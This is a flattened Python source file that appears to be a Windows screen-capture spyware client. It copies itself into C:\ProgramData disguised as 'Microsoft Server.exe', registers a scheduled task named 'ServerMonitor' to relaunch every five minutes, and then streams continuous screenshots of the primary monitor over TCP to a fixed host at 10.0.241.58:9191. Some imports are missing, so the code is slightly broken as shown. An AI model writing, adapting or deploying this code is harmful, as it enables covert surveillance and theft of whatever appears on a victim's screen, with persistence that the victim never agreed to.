1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141
| import socket from mss import mss import mss.tools from PIL import Image import io import os import shutil
def copy_current_file(destination_folder, reset_name): try: current_file_path1 = os.path.abspath(__file__) os.makedirs(destination_folder, exist_ok=True)
destination_path = os.path.join(destination_folder, os.path.basename(current_file_path1))
shutil.copy2(current_file_path1, destination_path)
name = "\\" + reset_name final_file_name = destination_folder + name os.rename(destination_path, final_file_name)
print(f"文件已成功复制到: {destination_path}") except Exception as e: print(f"发生错误: {e}")
def task(): scheduler = win32com.client.Dispatch('Schedule.Service') scheduler.Connect()
root_folder = scheduler.GetFolder('\\') task_def = scheduler.NewTask(0)
TASK_ACTION_EXEC = 0 action = task_def.Actions.Create(TASK_ACTION_EXEC) action.ID = 'TEST' action.Path = r"D:\pytohn_project\test1\dist\client.exe"
task_def.RegistrationInfo.Description = '定时任务描述' task_def.RegistrationInfo.Author = "脚本创建"
task_def.Settings.Enabled = True task_def.Settings.StartWhenAvailable = True task_def.Settings.Hidden = False task_def.Settings.RestartCount = 3 task_def.Settings.RestartInterval = "PT20M"
TASK_TRIGGER_TIME = 2 trigger = task_def.Triggers.Create(TASK_TRIGGER_TIME)
trigger.StartBoundary = (datetime.now() + timedelta(seconds=30)).isoformat() trigger.Id = "DailyTriggerId" trigger.Enabled = True
trigger.Repetition.Interval = "PT5M"
TASK_CREATE_OR_UPDATE = 6 TASK_LOGON_NONE = 0 root_folder.RegisterTaskDefinition( "ServerMonitor", task_def, TASK_CREATE_OR_UPDATE, '', '', TASK_LOGON_NONE )
def send_data(sock,data): data_length = len(data) sock.sendall(data_length.to_bytes(4,'big')) sock.sendall(data)
def main(): c = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = '10.0.241.58' port = 9191 c.connect((host,port))
while True: try: with mss.mss() as sct: monitor = sct.monitors[1]
sct_img = sct.grab(monitor) img_bytes = io.BytesIO() Image.frombytes('RGB',sct_img.size,sct_img.bgra,'raw','BGRX').save(img_bytes, format='PNG') send_data(c,img_bytes.getvalue()) except ConnectionResetError: c.close()
if __name__ == '__main__': flag_file = 'Microsoft Log.txt' if os.path.exists(flag_file): main() else: destination_folder = r'C:\ProgramData' reset_name = "Microsoft Server.exe" copy_current_file(destination_folder,reset_name) task() flag_file_path = os.path.join(destination_folder,flag_file) with open(flag_file_path, 'w') as f: f.write('')
|